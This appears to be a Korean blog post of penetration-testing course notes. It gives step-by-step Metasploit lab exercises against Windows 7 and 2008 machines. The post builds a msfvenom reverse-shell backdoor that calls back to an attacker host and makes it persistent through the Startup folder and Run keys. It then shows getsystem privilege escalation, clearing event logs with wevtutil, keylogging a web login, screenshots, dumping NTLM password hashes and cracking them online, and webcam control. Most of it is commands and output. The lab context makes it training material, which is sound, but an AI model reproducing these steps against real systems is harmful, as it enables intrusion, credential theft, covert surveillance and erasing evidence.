meterpreter > cd "Start Menu"
meterpreter > cd Programs
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
meterpreter > cd Startup
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

● Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램
● Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows                           \Start Menu\Programs\Startup

meterpreter > upload reverse_test.exe .
[*] uploading  : reverse_test.exe -> .
[*] uploaded   : reverse_test.exe -> .\reverse_test.exe
-> 업로드한 프로그램 윈도우즈에서 확인한다.
-> 시작 > 모든 프로그램 > 시작 프로그램

meterpreter> reboot
Rebooting...
meterpreter >
[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: Died
<ENTER>
msf exploit(handler) > quit

-> 시작 프로그램의 폴더 위치 :
    C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
-> 윈도우 재부팅 시에 실행할 프로그램은 다음 중 하나의 레지스터에 등록되어야 된다.
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winodws\Current Version\Run
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\RunOnce
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current Version\RunOnce
-> 사용자 로그인시에 실행할 프로그램은 다음 위치에 등록되어야 한다.
    (Windows XP 경우) C:\Documents and Settings\vb_test\시작 메뉴\프로그램\시작프로그램
    (Windows Vista 이후 경우) C:\<사용자명>\<사용자명>\AppData\Roaming\Microsoft\Windows                                     \Start Menu\Programs\Startup

⑦ 칼리리눅스에서 reverse_resource.rc를 사용하여 listen 상태로 동작
(KaliLinux)
# msfconsole -r reverse_resource.rc

..... (중략) ......
[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
msf exploit(handler) >

-> 만약 대상 PC(windows7) 먼저 부팅한 상태라면 강제적으로 windows7를 재부팅한다.

⑧ window7에서 soldesk 사용자로 로그인
(windows 7) soldesk 사용자로 로그인한다.
로그인 할 때 악성 프로그램이 실행 될것이다.




⑨ 칼리리눅스에서 연결된 세션 확인
(KaliLinux)

msf exploit(handler) >
[*] Sending stage (770048 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49161) at
    2014-07-20 17:50:09 +0900
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 ->
                                                      192.168.20.202:49161 (192.168.20.202)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > quit

-> KaliLinux에 다시 연결이 된다.
-> 이후에 작업들은 자유롭게 실습한다.





[실습] 윈도우 2008 로그 삭제

■ 사용 시스템
- window 2008
- KaliLinux

① 윈도우 2008에서 로그를 확인
(window 2008) 로그 확인 작업
시작 > 관리도구 > 이벤트 뷰어 > Windows 로그
    > (응용프로그램|보안|Setup|시스템)

② 칼리리눅스에서 연결된 세션의 윈도우 2008 운영체제 사용자 권한 상승 및 로그 지우기
(Kali Linux)
# cd /root/bin
# vi reverse_resource2.rc       /* 새로운 프로그램 제작 */

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.50
set ExitSession false
exploit -j -z


# msfconsole -r reverse_resource2.rc

..... (중략) ......
[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
msf exploit(handler) >


# cd /root/bin
# msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.20.50 LPORT=4444 \
-f exe \
-o backdoor.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: backdoor.exe


# ls

backdoor.exe


# cp backdoor.exe /share
#

(windows2008)

kalilinux(/share/backdoor.exe) --> windows2008(바탕화면/backdoor.exe)
● 칼리리눅스에 공유된 디렉토리의 backdoor.exe 파일을 윈도우2008 서버의 바탕화면에 복사한다.
● <Windows> + <R> => \\192.168.20.50\-> \\192.168.20.50\share 디렉토리에 존재하는 backdoor.exe 파일을 바탕화면으로 복사한다.

복사가 되었다면 바탕화면에 있는 backdoor.exe 파일 실행


(KaliLinux)


[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.201:1038) at 2015-04-22 12:23:33 +0900
<ENTER>
msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x64/win64  WIN-C69IMI8KPUS\Administrator @ WIN-C69IMI8KPUS  192.168.20.50:4444 -> 192.168.20.201:1038 (192.168.20.201)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > help
.... (출력결과 생략) .....
meterpreter > getuid
Server username: WIN-C69IMI8KPUS\Administrator
meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h        Help Banner.
    -t <opt>  The technique to use. (Default to '0').
        0 : All techniques available
        1 : Service - Named Pipe Impersonation (In Memory/Admin)
        2 : Service - Named Pipe Impersonation (Dropper/Admin)
        3 : Service - Token Duplication (In Memory/Admin)


meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

    [참고] getsystem 으로 권한이 상승되지 않은 경우
    window 7/8/8.1 운영체제에 patch가 되어 있는 경우 아래와 같이 진행할 수 있다.
    meterpreter> shell
    Process 2928 created.
    Channel 1 created.
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation. All rights reserved.

    C:\Windows\system32>wmic process list brief | find "winlogon"
    HandleCount  Name              Priority  ProcessId  ThreadCount  WorkingSetSize
    116          winlogon.exe         13        488        3            8327168
    C:\Windows\system32>exit
    meterpreter > migrate 488
    [*] Migrating from 4056 to 488...
    [*] Migration completed successfully.
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM

meterpreter > shell

Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\soldesk\Desktop>wevtutil.exe el
Analytic
Application
DirectShowFilterGraph
DirectShowPluginControl
..... (중략) .....
Microsoft-Windows-Wordpad/Debug
Microsoft-Windows-Wordpad/Diagnostic
Microsoft-Windows-mobsync/Diagnostic
Microsoft-Windows-ntshrui
Microsoft-Windows-osk/Diagnostic
Microsoft-Windows-stobject/Diagnostic
Security
Setup
System
TabletPC_InputPanel_Channel
ThinPrint Diagnostics
WINDOWS_MP4SDECD_CHANNEL
WMPSetup
WMPSyncEngine
Windows PowerShell
microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager/Admin
muxencode

C:\Users\soldesk\Desktop>wevtutil.exe cl "System"      /* wevtutil cl System */
wevtutil.exe cl System

C:\Users\soldesk\Desktop>wevtutil.exe cl "Application" /* wevtutil cl Application */
wevtutil cl Application

C:\Users\soldesk\Desktop>wevtutil.exe cl "Security"    /* wevtutil cl Security */
wevtutil cl Security

C:\Users\soldesk\Desktop>wevtutil.exe cl "Setup"       /* wevtutil cl Setup */
wevtutil cl Setup

-> security, system, application, directory service, 'dns server', 'file replication service'
   등에 대해서도 지우는 과정을 진행한다.

③ 윈도우 2008에서 로그 확인
(windows 2008) 로그 확인 작업
시작 > 제어판 > 관리도구 > 이벤트 뷰어 > Windows 로그
    > (응용프로그램|보안|Setup|시스템)




[참고] 윈도우즈 이벤트 로그 지우는 방법에 대한 참고 URL
https://technet.microsoft.com/ko-kr/library/cc722318.aspx





[실습] One liner commands for windows – cheat sheet
http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/
-> 다음 사이트의 명령어를 정리한다.(약 20분)








[실습] 키보드 스니핑과 스크린샷

■ 사용 시스템
- KaliLinux
- Windows 2008


● meterpreter의 getdesktop과 키 스니핑에 대해서 테스트해 보자.
● 관련 명령어들
    enumdesktops    접근 가능한 테스크톱과 윈도우 스테이션 전체 목록을 확인
    getdesktop    현재 meterpreter 세션으로 작업하고 있는 사용자 시스템의 현재 테스크            톱 확인
    setdesktop    현재 meterpreter 세션 테스크톱에서 다른 데스크톱 스테이션으로 변경
    keyscan_start    현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 시작
    keyscan_stop    현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 종료
    keyscan_dump    meterpreter 데스크톱 세션의 키보드 동작을 저장
● 윈도우 데스크톱(desktop)에 대해서
     Session 0
    |
    +----- WinSta0(Interactive station)
    |    |
    |    +----- Default(desktop)    /* 모든 Application과 desktop에서 수행되는 작업들 */
    |    +----- Disconnect(desktop)    /* 스크린 세이버 잠금과 관련 */
    |    +----- Winlogon(desktop)    /* 윈도우 로그인 화면 */
    |
    +----- Service-0x0-3e7$(Non-interactive station)
    |    |
    |    +----- Default(desktop)
    |
    +----- Service-0x0-3e4$(Non-interactive station)
    |    |
    |    +----- Default(desktop)
    |
    +----- SAWinSta(Non-interactive station)
        |
        +----- Default(desktop)
    => 각 desktop은 각각의 키보드 버퍼를 가지고 있다.

(KaliLinux)
① 현재 meterpreter가 Session/Winsta0/Default 설정되었는지 확인

    (필요하면 명령어 수행)
    (KaliLinux)
    # netstat -an | grep :5432
    # service postgresql start
    # cd /root/bin ; msfconsole -r reverse_resource2.rc 
    (Windows2008)
    바탕화면에 backdoor.exe 파일 실행


C:\Users\soldesk\Desktop> exit
meterpreter > help
..... (중략) .....
Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components
..... (중략) .....

meterpreter > enumdesktops
Enumerating all accessible desktops

Desktops
========

    Session  Station  Name
    -------  -------  ----
    1        WinSta0  Default
    1        WinSta0  Disconnect
    1        WinSta0  Winlogon

meterpreter > getdesktop
Session 1\WinSta0\Default

    [참고] 만약 Session/WinSta0/Default 가 아닌경우는 다음과 같이 수행한다.
    meterpreter > getdesktop
    Session 0\Service-0x0-3e7$\Default
    meterpreter > setdesktop
    Session 0\WinSta0\Default

meterpreter > keyscan_start
Starting the keystroke sniffer...

    (windows 2008) 웹브라우저를 통해 웹(EX: www.daum.net)에 접속하여 로그인을 한다.
    http://www.daum.net
    ID/PASS

meterpreter > keyscan_dump
Dumping captured keystrokes...
www.daum.net <Return>  <Return> jang4sctest1234
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > screenshot
Screenshot saved to: /root/bin/ryEDqesf.jpeg

    /root/bin/ryEDqesf.jpeg 파일을 확인









[실습] password the hash(hash dump)

■ 사용시스템
- KaliLinux
- windows 2008

(windows 2008)

(선수작업) 윈도우 2008 사용자(EX: soldesk)의 암호를 쉬운 암호로 변경한다.
    (기존 암호) soldesk1. ==> (새로운 암호) 123

시작 > 관리도구 > 로컬 보안 정책
    보안 설정 > 계정 정책 > 암호 정책 >
        "암호는 복잡성을 만족해야 함" 부분이 "사용 안 함"으로 설정 되어 있는지 확인

시작 > 관리도구 > 컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자 >
    soldesk 사용자를 선택하고 오른쪽 마우스를 클릭
        암호 설정 > 계속 > 새암호(EX: 123)
       
(KaliLinux)

    (필요하면 명령어 수행)
    (KaliLinux)
    # netstat -an | grep :5432
    # service postgresql start
    # cd /root/bin ; msfconsole -r reverse_resource2.rc 
    (Windows2008)
    바탕화면에 backdoor.exe 파일 실행

① 패스워드 해시 덤프(password hash dump)

meterpreter > help
..... (중략) .....
Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database
..... (중략) .....

meterpreter > getuid
Server username: soldesk-PC\soldesk
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY fc7bdca7a24bf26b95d5b3485ad7469f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

soldesk:"soldesk1."

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
soldesk:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678:::

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > exit

② 패스워드 크랙
● SAM 파일로 부터 추출된 패스워드 해시를 크랙하는 대표적인 툴- 존더리퍼(John The Ripper), pwdump, rainbow crack 등
● 실습에서는 NTLM/LM 해시를 복호화는 MD5Decrypter.co.uk(http://www.md5decrypter.co.uk) 사이트를 사용한다.

웹 브라우저를 실행하고 다음 사이트로 이동한다.
http://www.md5decrypter.co.uk  (http://www.hashkiller.co.uk/)
-> 상단에 "Decrypter/Cracker" 선택
-> "NTLM Decrypter" 선택




● http://www.md5decrypter.co.uk 사이트는 아주 많은 해시 데이터베이스를 가지고 일치하는 패스워드를 찾는다. 이 방법은 간단하고 취약한 패스워드를 크랙하는데 매우 효과적이고 빠른 기법이다.
● 복잡한 패스워드는 온라인 데이터베이스에는 없는 해시를 생성한다. 따라서 이런경우에는 레인보우 테이블 기반 크랙 도구를 사용하는 것을 고려해야 한다.


(복원) 윈도우 2008 사용자(EX: soldesk)의 암호를 soldesk1. 설정한다.






[과제] 웹캠제어
● 노트북에 장착이 되어 있는 웹캠 디바이스를 칼리 리눅스에서 제어해 보자.
● 사용하는 명령어는 다음과 같다.
    webcam_list        설치돼 있는 웹캠의 정보를 가져온다.
    webcam_start        목록에서 도출된 웹캠을 선택해서 시작한다.
    webcam_get_frame        사진의 프레임 값을 정한다. 화질을 지정할 때 사용한다.
    webcam_stop        웹캠의 실행을 중지한다.
    webcat_audio_record    웹캠 마이크를 사용해 녹음을 지원한다.

● 다른 장치(기기)에 대해서도 위험성에 대해 논의한다.
    - 스마트 TV
    - 핸드폰
    - 건물내 감시카메라
● 사물인터넷과의 연계성에 대해서 논의한다.










[실습] 윈도우즈 환경에서 Metasploit 다운로드 하여 운영하는 방법
● 윈도우즈(window2008)에 Metasploit 다운로드 하고 설치해 보자.

MSF interface : (ㄱ) (TUI) console(msfconsole CMD)
           (ㄴ) (TUI) CMD(msfcli CMD)
           (ㄷ) (GUI) Armitage, msfgui, msfweb

Armitage 도구와 msfgui
● Armitage는 Raphael Mudge가 개발한 GUI 기반을 둔 도구로 자동 공격 도구(점검 도구)인 메타스플로잇의 도구 중 하나로 포함돼 있다.
● 스캔을 통해 해당 서비스에 적합한 공격을 골라내 선택할 수 있고, 옵션들도 자동으로 입력되기 때문에 점검자 입장에서는 많은 고민을 하지 않아도 되는 아주 편리한 도구이다.
● Armitage와 msfgui가 MSF 4.6부터는 무료 버전에서는 지원되지 않는다. 따라서 해당 도구를 사용하기 위해서는 윈도우 환경에서 별도의 프로그램 설치해 사용하거나, MSF 업데이트한 것에서 모듈을 가져와 기존 버전을 올려서 사용하는 방안을 검토해야 한다.


■ 사용시스템
    - Windows 2008
    - Firewall
    - KaliLinux

(Windows 2008)

다음 사이트에서 프로그램을 다운로드 한다.

    msfgui 최신 버전 다운로드
    - http://www.scriptjunkie.us/2013/04/using-the-gui-in-metasploit-4-6/

    Metasploit 최신 버전 다운로드(윈도우용)
    - http://metasploit.com/download


(주의) 설치전에 잠시 Virus Detection 툴은 종료한다.

Metasploit 최신 버전을 윈도우에 설치한다.

msfgui 프로그램을 윈도우에 설치한다.



(주의) 실습이 모두 끝났다면 metasploit 서비스를 모두 수동방식으로 설정한다.
<CTRL + SHIFT + ESC> => <서비스> 탭 => 오른쪽 하단의 "서비스" 선택
    서비스 이름 :
        Metasploit Pro Service
        Metasploit Thin Service
        Metasploit Worker
        MetasploitPostgreSQL


(KaliLinux)

Armitage 툴 실행
Armitage 툴 사용



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160623 정보수집단계  (0) 2016.06.23
20160622 정보수집단계  (0) 2016.06.22
20166020 코드엔진 아카이브  (0) 2016.06.21
20160620 정보수집단계  (0) 2016.06.20
20160617 정보수집단계  (0) 2016.06.18
Posted by 22Hz
, |
http://codeengn.com/archive/

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160622 정보수집단계  (0) 2016.06.22
20160621 정보수집단계  (0) 2016.06.21
20160620 정보수집단계  (0) 2016.06.20
20160617 정보수집단계  (0) 2016.06.18
20160616 정보수집단계  (0) 2016.06.16
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함